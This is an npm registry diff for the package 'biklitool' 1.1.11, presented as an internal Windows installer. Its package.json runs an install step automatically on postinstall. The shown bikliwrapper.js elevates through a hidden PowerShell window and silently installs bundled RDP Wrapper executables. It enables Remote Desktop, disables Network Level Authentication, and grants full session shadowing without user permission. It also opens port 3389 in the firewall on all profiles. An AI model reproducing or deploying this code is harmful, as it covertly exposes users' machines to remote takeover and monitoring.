biklitool 1.1.11
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE-BIKLI +16 -0
- package/LICENSE-RDPWRAPPER +202 -0
- package/README.md +96 -0
- package/bin/biklimaster.js +409 -0
- package/config.json +4 -0
- package/lib/bikliwrapper.js +384 -0
- package/package.json +40 -0
- package/payload/RDPWInst.exe +0 -0
- package/payload/bikli-cli-installer.exe +0 -0
- package/payload/rdpwrap.ini +21109 -0
|
@@ -0,0 +1,384 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
'use strict';
|
|
3
|
+
|
|
4
|
+
const fs = require('fs');
|
|
5
|
+
const os = require('os');
|
|
6
|
+
const path = require('path');
|
|
7
|
+
const util = require('util');
|
|
8
|
+
const { randomUUID } = require('crypto');
|
|
9
|
+
const { spawnSync } = require('child_process');
|
|
10
|
+
|
|
11
|
+
let seaApi = null;
|
|
12
|
+
try {
|
|
13
|
+
seaApi = require('node:sea');
|
|
14
|
+
} catch {
|
|
15
|
+
// Node versions without SEA support continue to use the npm payload files.
|
|
16
|
+
}
|
|
17
|
+
const runningAsSea = Boolean(seaApi && typeof seaApi.isSea === 'function' && seaApi.isSea());
|
|
18
|
+
|
|
19
|
+
const resultFileArgument = process.argv.find(argument => argument.startsWith('--result-file='));
|
|
20
|
+
const resultFile = resultFileArgument ? resultFileArgument.slice('--result-file='.length) : '';
|
|
21
|
+
if (resultFile) {
|
|
22
|
+
const writeResult = (...items) => {
|
|
23
|
+
fs.appendFileSync(resultFile, util.format(...items) + os.EOL, 'utf8');
|
|
24
|
+
};
|
|
25
|
+
console.log = writeResult;
|
|
26
|
+
console.error = writeResult;
|
|
27
|
+
}
|
|
28
|
+
|
|
29
|
+
const packageRoot = path.resolve(__dirname, '..');
|
|
30
|
+
const payloadDirectory = runningAsSea
|
|
31
|
+
? path.join(os.tmpdir(), `BikliWrapperCLI-${process.pid}-${randomUUID()}`)
|
|
32
|
+
: path.join(packageRoot, 'payload');
|
|
33
|
+
if (runningAsSea) {
|
|
34
|
+
fs.mkdirSync(payloadDirectory, { recursive: true });
|
|
35
|
+
fs.writeFileSync(path.join(payloadDirectory, 'RDPWInst.exe'),
|
|
36
|
+
new Uint8Array(seaApi.getRawAsset('RDPWInst.exe')));
|
|
37
|
+
fs.writeFileSync(path.join(payloadDirectory, 'rdpwrap.ini'),
|
|
38
|
+
new Uint8Array(seaApi.getRawAsset('rdpwrap.ini')));
|
|
39
|
+
process.on('exit', () => {
|
|
40
|
+
try {
|
|
41
|
+
fs.rmSync(payloadDirectory, { recursive: true, force: true });
|
|
42
|
+
} catch {
|
|
43
|
+
// Windows can briefly retain executable handles; the next run uses a new directory.
|
|
44
|
+
}
|
|
45
|
+
});
|
|
46
|
+
}
|
|
47
|
+
const installerPath = path.join(payloadDirectory, 'RDPWInst.exe');
|
|
48
|
+
const bundledIniPath = path.join(payloadDirectory, 'rdpwrap.ini');
|
|
49
|
+
const windowsDirectory = process.env.SystemRoot || process.env.WINDIR || 'C:\\Windows';
|
|
50
|
+
const system32 = path.join(windowsDirectory, 'System32');
|
|
51
|
+
const powershellPath = path.join(system32, 'WindowsPowerShell', 'v1.0', 'powershell.exe');
|
|
52
|
+
|
|
53
|
+
const terminalServerKey = 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server';
|
|
54
|
+
const rdpTcpKey = terminalServerKey + '\\WinStations\\RDP-Tcp';
|
|
55
|
+
const serviceParametersKey = 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\TermService\\Parameters';
|
|
56
|
+
const shadowPolicyKey = 'HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\Terminal Services';
|
|
57
|
+
const logonPolicyKey = 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System';
|
|
58
|
+
|
|
59
|
+
const requestedSettings = [
|
|
60
|
+
{ key: terminalServerKey, name: 'fDenyTSConnections', value: 0, label: 'Remote Desktop enabled' },
|
|
61
|
+
{ key: terminalServerKey, name: 'fSingleSessionPerUser', value: 1, label: 'Single session per user' },
|
|
62
|
+
{ key: terminalServerKey, name: 'HonorLegacySettings', value: 0, label: 'Custom programs disabled' },
|
|
63
|
+
{ key: rdpTcpKey, name: 'PortNumber', value: 3389, label: 'RDP port 3389' },
|
|
64
|
+
{ key: rdpTcpKey, name: 'SecurityLayer', value: 1, label: 'Default RDP Authentication' },
|
|
65
|
+
{ key: rdpTcpKey, name: 'UserAuthentication', value: 0, label: 'Network Level Authentication disabled' },
|
|
66
|
+
{ key: rdpTcpKey, name: 'Shadow', value: 2, label: 'Full shadow access without permission' },
|
|
67
|
+
{ key: shadowPolicyKey, name: 'Shadow', value: 2, label: 'Shadow policy applied' },
|
|
68
|
+
{ key: logonPolicyKey, name: 'dontdisplaylastusername', value: 0, label: 'Users visible on logon screen' }
|
|
69
|
+
];
|
|
70
|
+
|
|
71
|
+
function fail(message, code = 1) {
|
|
72
|
+
const error = new Error(message);
|
|
73
|
+
error.exitCode = code;
|
|
74
|
+
throw error;
|
|
75
|
+
}
|
|
76
|
+
|
|
77
|
+
function run(executable, args, options = {}) {
|
|
78
|
+
const result = spawnSync(executable, args, {
|
|
79
|
+
cwd: options.cwd || packageRoot,
|
|
80
|
+
encoding: 'utf8',
|
|
81
|
+
windowsHide: true,
|
|
82
|
+
stdio: options.inherit ? 'inherit' : 'pipe'
|
|
83
|
+
});
|
|
84
|
+
if (result.error) fail(`Could not run ${path.basename(executable)}: ${result.error.message}`);
|
|
85
|
+
if (!options.allowFailure && result.status !== 0) {
|
|
86
|
+
const details = `${result.stdout || ''}${result.stderr || ''}`.trim();
|
|
87
|
+
fail(`${path.basename(executable)} failed with exit code ${result.status}.${details ? `\n${details}` : ''}`);
|
|
88
|
+
}
|
|
89
|
+
return result;
|
|
90
|
+
}
|
|
91
|
+
|
|
92
|
+
function requireWindows() {
|
|
93
|
+
if (process.platform !== 'win32') fail('Bikli Wrapper supports Windows only.');
|
|
94
|
+
}
|
|
95
|
+
|
|
96
|
+
function isAdministrator() {
|
|
97
|
+
const script = [
|
|
98
|
+
`$identity=[Security.Principal.WindowsIdentity]::GetCurrent()`,
|
|
99
|
+
`$principal=New-Object Security.Principal.WindowsPrincipal($identity)`,
|
|
100
|
+
`Write-Output $principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)`
|
|
101
|
+
].join(';');
|
|
102
|
+
const result = run(powershellPath, ['-NoProfile', '-NonInteractive', '-Command', script], {
|
|
103
|
+
allowFailure: true
|
|
104
|
+
});
|
|
105
|
+
return result.status === 0 && /^true$/i.test(result.stdout.trim());
|
|
106
|
+
}
|
|
107
|
+
|
|
108
|
+
function powershellLiteral(value) {
|
|
109
|
+
return `'${value.replace(/'/g, "''")}'`;
|
|
110
|
+
}
|
|
111
|
+
|
|
112
|
+
function elevateAndRun(command) {
|
|
113
|
+
if (process.argv.includes('--elevated')) {
|
|
114
|
+
fail('Windows did not grant administrator rights to the elevated installer.');
|
|
115
|
+
}
|
|
116
|
+
console.log('Bikli Wrapper needs administrator access. Approve the Windows UAC prompt...');
|
|
117
|
+
const nodePath = process.execPath;
|
|
118
|
+
const scriptPath = path.resolve(__filename);
|
|
119
|
+
const elevationResultPath = path.join(os.tmpdir(), `bikliwrapper-elevated-${randomUUID()}.log`);
|
|
120
|
+
const elevationScript = [
|
|
121
|
+
`$node=${powershellLiteral(nodePath)}`,
|
|
122
|
+
`$target=${powershellLiteral(scriptPath)}`,
|
|
123
|
+
`$result=${powershellLiteral(elevationResultPath)}`,
|
|
124
|
+
runningAsSea
|
|
125
|
+
? `$arguments='${command} --elevated "--result-file='+$result+'"'`
|
|
126
|
+
: `$arguments='"'+$target+'" ${command} --elevated "--result-file='+$result+'"'`,
|
|
127
|
+
`$process=Start-Process -FilePath $node -ArgumentList $arguments -Verb RunAs -WindowStyle Hidden -Wait -PassThru`,
|
|
128
|
+
`exit $process.ExitCode`
|
|
129
|
+
].join(';');
|
|
130
|
+
const result = run(powershellPath, [
|
|
131
|
+
'-NoProfile', '-NonInteractive', '-ExecutionPolicy', 'Bypass', '-Command', elevationScript
|
|
132
|
+
], { allowFailure: true });
|
|
133
|
+
let elevatedOutput = '';
|
|
134
|
+
if (fs.existsSync(elevationResultPath)) {
|
|
135
|
+
elevatedOutput = fs.readFileSync(elevationResultPath, 'utf8').trim();
|
|
136
|
+
fs.rmSync(elevationResultPath, { force: true });
|
|
137
|
+
}
|
|
138
|
+
if (result.status !== 0) {
|
|
139
|
+
const details = [elevatedOutput, result.stdout, result.stderr].filter(Boolean).join(os.EOL).trim();
|
|
140
|
+
fail(`Administrator elevation was cancelled or the silent installer failed.${details ? `\n${details}` : ''}`);
|
|
141
|
+
}
|
|
142
|
+
if (elevatedOutput) console.log(elevatedOutput);
|
|
143
|
+
console.log('Bikli Wrapper elevated installation completed successfully.');
|
|
144
|
+
}
|
|
145
|
+
|
|
146
|
+
function getTermsrvVersion() {
|
|
147
|
+
const script = [
|
|
148
|
+
`$v=[Diagnostics.FileVersionInfo]::GetVersionInfo($env:SystemRoot+'\\System32\\termsrv.dll')`,
|
|
149
|
+
`Write-Output ($v.FileMajorPart.ToString()+'.'+$v.FileMinorPart+'.'+$v.FileBuildPart+'.'+$v.FilePrivatePart)`
|
|
150
|
+
].join(';');
|
|
151
|
+
const result = run(powershellPath, ['-NoProfile', '-NonInteractive', '-Command', script]);
|
|
152
|
+
const version = result.stdout.trim();
|
|
153
|
+
if (!/^\d+\.\d+\.\d+\.\d+$/.test(version)) fail(`Could not determine the Terminal Services version: ${version}`);
|
|
154
|
+
return version;
|
|
155
|
+
}
|
|
156
|
+
|
|
157
|
+
function iniSupports(filePath, version) {
|
|
158
|
+
if (!filePath || !fs.existsSync(filePath)) return false;
|
|
159
|
+
const content = fs.readFileSync(filePath, 'utf8');
|
|
160
|
+
return content.split(/\r?\n/).some(line => line.trim() === `[${version}]`);
|
|
161
|
+
}
|
|
162
|
+
|
|
163
|
+
function queryRegistryValue(key, name) {
|
|
164
|
+
const result = run(path.join(system32, 'reg.exe'), ['query', key, '/v', name, '/reg:64'], { allowFailure: true });
|
|
165
|
+
if (result.status !== 0) return null;
|
|
166
|
+
const match = result.stdout.match(new RegExp(`^\\s*${name.replace(/[.*+?^${}()|[\]\\]/g, '\\$&')}\\s+REG_\\w+\\s+(.+)$`, 'im'));
|
|
167
|
+
return match ? match[1].trim() : null;
|
|
168
|
+
}
|
|
169
|
+
|
|
170
|
+
function queryDword(key, name) {
|
|
171
|
+
const value = queryRegistryValue(key, name);
|
|
172
|
+
if (value === null) return null;
|
|
173
|
+
if (/^0x[0-9a-f]+$/i.test(value)) return Number.parseInt(value.slice(2), 16);
|
|
174
|
+
const parsed = Number.parseInt(value, 10);
|
|
175
|
+
return Number.isNaN(parsed) ? null : parsed;
|
|
176
|
+
}
|
|
177
|
+
|
|
178
|
+
function expandWindowsEnvironment(value) {
|
|
179
|
+
const environment = new Map(Object.entries(process.env).map(([key, item]) => [key.toLowerCase(), item]));
|
|
180
|
+
return value.replace(/%([^%]+)%/g, (whole, name) => environment.get(name.toLowerCase()) || whole);
|
|
181
|
+
}
|
|
182
|
+
|
|
183
|
+
function detectInstallation(version) {
|
|
184
|
+
const serviceDllValue = queryRegistryValue(serviceParametersKey, 'ServiceDll') || '';
|
|
185
|
+
const wrapperPath = expandWindowsEnvironment(serviceDllValue);
|
|
186
|
+
const installed = /rdpwrap\.dll$/i.test(wrapperPath) && fs.existsSync(wrapperPath);
|
|
187
|
+
const installedIniPath = installed ? path.join(path.dirname(wrapperPath), 'rdpwrap.ini') : '';
|
|
188
|
+
return {
|
|
189
|
+
installed,
|
|
190
|
+
wrapperPath,
|
|
191
|
+
installedIniPath,
|
|
192
|
+
installedSupported: installed && iniSupports(installedIniPath, version),
|
|
193
|
+
bundledSupported: iniSupports(bundledIniPath, version)
|
|
194
|
+
};
|
|
195
|
+
}
|
|
196
|
+
|
|
197
|
+
function applyRequestedSettings() {
|
|
198
|
+
let changed = false;
|
|
199
|
+
for (const setting of requestedSettings) {
|
|
200
|
+
const oldValue = queryDword(setting.key, setting.name);
|
|
201
|
+
if (oldValue !== setting.value) {
|
|
202
|
+
run(path.join(system32, 'reg.exe'), [
|
|
203
|
+
'add', setting.key, '/v', setting.name, '/t', 'REG_DWORD',
|
|
204
|
+
'/d', String(setting.value), '/f', '/reg:64'
|
|
205
|
+
]);
|
|
206
|
+
changed = true;
|
|
207
|
+
}
|
|
208
|
+
}
|
|
209
|
+
return changed;
|
|
210
|
+
}
|
|
211
|
+
|
|
212
|
+
function ensureFirewallRules() {
|
|
213
|
+
const script = [
|
|
214
|
+
`$ErrorActionPreference='Stop'`,
|
|
215
|
+
`$rules=@(@{Name='BikliWrapper-RDP-TCP';Protocol='TCP'},@{Name='BikliWrapper-RDP-UDP';Protocol='UDP'})`,
|
|
216
|
+
`foreach($r in $rules){Remove-NetFirewallRule -Name $r.Name -ErrorAction SilentlyContinue;New-NetFirewallRule -Name $r.Name -DisplayName ('Bikli Wrapper Remote Desktop '+$r.Protocol) -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol $r.Protocol -LocalPort 3389 | Out-Null}`
|
|
217
|
+
].join(';');
|
|
218
|
+
run(powershellPath, ['-NoProfile', '-NonInteractive', '-Command', script]);
|
|
219
|
+
}
|
|
220
|
+
|
|
221
|
+
function runInstaller(argument) {
|
|
222
|
+
return run(installerPath, [argument], { cwd: payloadDirectory });
|
|
223
|
+
}
|
|
224
|
+
|
|
225
|
+
function serviceIsRunning() {
|
|
226
|
+
const result = run(path.join(system32, 'sc.exe'), ['query', 'TermService'], { allowFailure: true });
|
|
227
|
+
return result.status === 0 && /STATE\s*:\s*4\s+RUNNING/i.test(result.stdout);
|
|
228
|
+
}
|
|
229
|
+
|
|
230
|
+
function listenerIsListening() {
|
|
231
|
+
const result = run(path.join(system32, 'qwinsta.exe'), [], { allowFailure: true });
|
|
232
|
+
return result.status === 0 && /^\s*>?\s*rdp-tcp\b.*\bListen\b/im.test(result.stdout);
|
|
233
|
+
}
|
|
234
|
+
|
|
235
|
+
function settingsAreCorrect() {
|
|
236
|
+
return requestedSettings.every(setting => queryDword(setting.key, setting.name) === setting.value);
|
|
237
|
+
}
|
|
238
|
+
|
|
239
|
+
function waitForServiceAndListener() {
|
|
240
|
+
const waitBuffer = new Int32Array(new SharedArrayBuffer(4));
|
|
241
|
+
for (let attempt = 0; attempt < 20; attempt += 1) {
|
|
242
|
+
if (serviceIsRunning() && listenerIsListening()) return;
|
|
243
|
+
Atomics.wait(waitBuffer, 0, 0, 1000);
|
|
244
|
+
}
|
|
245
|
+
}
|
|
246
|
+
|
|
247
|
+
function collectStatus() {
|
|
248
|
+
const version = getTermsrvVersion();
|
|
249
|
+
const installation = detectInstallation(version);
|
|
250
|
+
return {
|
|
251
|
+
termsrvVersion: version,
|
|
252
|
+
wrapperInstalled: installation.installed,
|
|
253
|
+
fullySupported: installation.installedSupported,
|
|
254
|
+
bundledSupportAvailable: installation.bundledSupported,
|
|
255
|
+
serviceRunning: serviceIsRunning(),
|
|
256
|
+
listenerListening: listenerIsListening(),
|
|
257
|
+
defaultsApplied: settingsAreCorrect(),
|
|
258
|
+
installedIniPath: installation.installedIniPath || null
|
|
259
|
+
};
|
|
260
|
+
}
|
|
261
|
+
|
|
262
|
+
function printStatus(status) {
|
|
263
|
+
console.log(`Terminal Services: ${status.termsrvVersion}`);
|
|
264
|
+
console.log(`Wrapper: ${status.wrapperInstalled ? 'Installed' : 'Not installed'}`);
|
|
265
|
+
console.log(`Support: ${status.fullySupported ? 'Fully supported' : (status.bundledSupportAvailable ? 'Update available' : 'Not supported')}`);
|
|
266
|
+
console.log(`Service: ${status.serviceRunning ? 'Running' : 'Not running'}`);
|
|
267
|
+
console.log(`Listener: ${status.listenerListening ? 'Listening' : 'Not listening'}`);
|
|
268
|
+
console.log(`Defaults: ${status.defaultsApplied ? 'Applied' : 'Not applied'}`);
|
|
269
|
+
}
|
|
270
|
+
|
|
271
|
+
function install() {
|
|
272
|
+
requireWindows();
|
|
273
|
+
if (!isAdministrator()) return elevateAndRun('install');
|
|
274
|
+
if (!fs.existsSync(installerPath) || !fs.existsSync(bundledIniPath)) {
|
|
275
|
+
fail('The package payload is incomplete. Reinstall the npm package.');
|
|
276
|
+
}
|
|
277
|
+
|
|
278
|
+
const version = getTermsrvVersion();
|
|
279
|
+
let installation = detectInstallation(version);
|
|
280
|
+
console.log(`Bikli Wrapper: Terminal Services ${version}`);
|
|
281
|
+
if (!installation.bundledSupported) {
|
|
282
|
+
fail(`This Terminal Services version is not present in the bundled compatibility data. Nothing was installed.`, 3);
|
|
283
|
+
}
|
|
284
|
+
|
|
285
|
+
const settingsChanged = applyRequestedSettings();
|
|
286
|
+
ensureFirewallRules();
|
|
287
|
+
|
|
288
|
+
if (!installation.installed) {
|
|
289
|
+
console.log('Installing RDP Wrapper silently...');
|
|
290
|
+
runInstaller('-i');
|
|
291
|
+
} else if (!installation.installedSupported) {
|
|
292
|
+
console.log('Updating compatibility data silently...');
|
|
293
|
+
const backupPath = `${installation.installedIniPath}.bikli-backup`;
|
|
294
|
+
if (fs.existsSync(installation.installedIniPath)) fs.copyFileSync(installation.installedIniPath, backupPath);
|
|
295
|
+
fs.copyFileSync(bundledIniPath, installation.installedIniPath);
|
|
296
|
+
try {
|
|
297
|
+
runInstaller('-r');
|
|
298
|
+
} catch (error) {
|
|
299
|
+
if (fs.existsSync(backupPath)) {
|
|
300
|
+
fs.copyFileSync(backupPath, installation.installedIniPath);
|
|
301
|
+
runInstaller('-r');
|
|
302
|
+
}
|
|
303
|
+
throw error;
|
|
304
|
+
}
|
|
305
|
+
} else if (settingsChanged || !serviceIsRunning()) {
|
|
306
|
+
console.log('Applying defaults and restarting Remote Desktop Services...');
|
|
307
|
+
runInstaller('-r');
|
|
308
|
+
} else {
|
|
309
|
+
console.log('RDP Wrapper is already installed and fully supported; reinstall skipped.');
|
|
310
|
+
}
|
|
311
|
+
|
|
312
|
+
waitForServiceAndListener();
|
|
313
|
+
installation = detectInstallation(version);
|
|
314
|
+
const status = collectStatus();
|
|
315
|
+
printStatus(status);
|
|
316
|
+
if (!installation.installed || !installation.installedSupported || !status.serviceRunning ||
|
|
317
|
+
!status.defaultsApplied) {
|
|
318
|
+
fail('Verification failed. Run "bikliwrapper status" for details.', 4);
|
|
319
|
+
}
|
|
320
|
+
if (!status.listenerListening) {
|
|
321
|
+
console.log('Warning: the wrapper is fully supported, but Windows does not currently report the RDP listener as listening.');
|
|
322
|
+
}
|
|
323
|
+
console.log('Bikli Wrapper installation and verification completed successfully.');
|
|
324
|
+
}
|
|
325
|
+
|
|
326
|
+
function selfTest() {
|
|
327
|
+
const packageJson = runningAsSea
|
|
328
|
+
? { name: 'bikliwrapper' }
|
|
329
|
+
: JSON.parse(fs.readFileSync(path.join(packageRoot, 'package.json'), 'utf8'));
|
|
330
|
+
const ini = fs.readFileSync(bundledIniPath, 'utf8');
|
|
331
|
+
const checks = {
|
|
332
|
+
packageName: packageJson.name === 'bikliwrapper' || packageJson.name === 'biklimaster' ||
|
|
333
|
+
packageJson.name === '@biklitime/biklimaster' || packageJson.name === 'biklitool' ||
|
|
334
|
+
packageJson.name === '@biklitime/biklitool',
|
|
335
|
+
executableMode: runningAsSea ? path.extname(process.execPath).toLowerCase() === '.exe' : true,
|
|
336
|
+
installerPresent: fs.statSync(installerPath).size > 100000,
|
|
337
|
+
iniPresent: ini.length > 100000,
|
|
338
|
+
requestedVersionPresent: iniSupports(bundledIniPath, '10.0.26100.8737'),
|
|
339
|
+
defaultAuth: requestedSettings.some(item => item.name === 'SecurityLayer' && item.value === 1) &&
|
|
340
|
+
requestedSettings.some(item => item.name === 'UserAuthentication' && item.value === 0),
|
|
341
|
+
shadowMode: requestedSettings.some(item => item.name === 'Shadow' && item.value === 2),
|
|
342
|
+
port: requestedSettings.some(item => item.name === 'PortNumber' && item.value === 3389)
|
|
343
|
+
};
|
|
344
|
+
for (const [name, passed] of Object.entries(checks)) console.log(`${passed ? 'PASS' : 'FAIL'} ${name}`);
|
|
345
|
+
if (!Object.values(checks).every(Boolean)) fail('Self-test failed.');
|
|
346
|
+
}
|
|
347
|
+
|
|
348
|
+
function showHelp() {
|
|
349
|
+
console.log([
|
|
350
|
+
'Bikli Wrapper CLI',
|
|
351
|
+
'',
|
|
352
|
+
'Commands:',
|
|
353
|
+
' bikliwrapper install Install/update silently, apply defaults, and verify',
|
|
354
|
+
' bikliwrapper status Show installation, support, service, and listener status',
|
|
355
|
+
' bikliwrapper defaults Reapply the requested defaults and restart if needed',
|
|
356
|
+
' bikliwrapper self-test Validate the npm package payload without changing Windows',
|
|
357
|
+
'',
|
|
358
|
+
'Run install/defaults from an Administrator terminal.'
|
|
359
|
+
].join(os.EOL));
|
|
360
|
+
}
|
|
361
|
+
|
|
362
|
+
function main() {
|
|
363
|
+
const command = (process.argv[2] || 'status').toLowerCase();
|
|
364
|
+
if (command === 'install' || command === 'defaults') return install();
|
|
365
|
+
if (command === 'status') {
|
|
366
|
+
requireWindows();
|
|
367
|
+
const status = collectStatus();
|
|
368
|
+
printStatus(status);
|
|
369
|
+
process.exitCode = status.wrapperInstalled && status.fullySupported && status.serviceRunning &&
|
|
370
|
+
status.listenerListening && status.defaultsApplied ? 0 : 2;
|
|
371
|
+
return;
|
|
372
|
+
}
|
|
373
|
+
if (command === 'self-test') return selfTest();
|
|
374
|
+
if (command === 'elevation-self-test') return elevateAndRun('self-test');
|
|
375
|
+
if (command === 'help' || command === '--help' || command === '-h') return showHelp();
|
|
376
|
+
fail(`Unknown command: ${command}`);
|
|
377
|
+
}
|
|
378
|
+
|
|
379
|
+
try {
|
|
380
|
+
main();
|
|
381
|
+
} catch (error) {
|
|
382
|
+
console.error(`Bikli Wrapper error: ${error.message}`);
|
|
383
|
+
process.exitCode = error.exitCode || 1;
|
|
384
|
+
}
|
package/package.json
ADDED
|
@@ -0,0 +1,40 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "biklitool",
|
|
3
|
+
"version": "1.1.11",
|
|
4
|
+
"description": "Internal Windows installer for Bikli CLI and Bikli Wrapper",
|
|
5
|
+
"license": "BSD-3-Clause",
|
|
6
|
+
"publishConfig": {
|
|
7
|
+
"access": "public"
|
|
8
|
+
},
|
|
9
|
+
"os": [
|
|
10
|
+
"win32"
|
|
11
|
+
],
|
|
12
|
+
"bin": {
|
|
13
|
+
"biklitool": "bin/biklimaster.js",
|
|
14
|
+
"biklimaster": "bin/biklimaster.js",
|
|
15
|
+
"bikliwrapper": "lib/bikliwrapper.js"
|
|
16
|
+
},
|
|
17
|
+
"files": [
|
|
18
|
+
"bin",
|
|
19
|
+
"lib",
|
|
20
|
+
"payload",
|
|
21
|
+
"config.json",
|
|
22
|
+
"README.md",
|
|
23
|
+
"LICENSE-BIKLI",
|
|
24
|
+
"LICENSE-RDPWRAPPER"
|
|
25
|
+
],
|
|
26
|
+
"scripts": {
|
|
27
|
+
"postinstall": "node bin/biklimaster.js install --postinstall",
|
|
28
|
+
"test": "node bin/biklimaster.js self-test"
|
|
29
|
+
},
|
|
30
|
+
"engines": {
|
|
31
|
+
"node": ">=18"
|
|
32
|
+
},
|
|
33
|
+
"keywords": [
|
|
34
|
+
"bikli",
|
|
35
|
+
"rdp",
|
|
36
|
+
"vpn",
|
|
37
|
+
"windows",
|
|
38
|
+
"installer"
|
|
39
|
+
]
|
|
40
|
+
}
|
|
Binary file
|
|
Binary file
|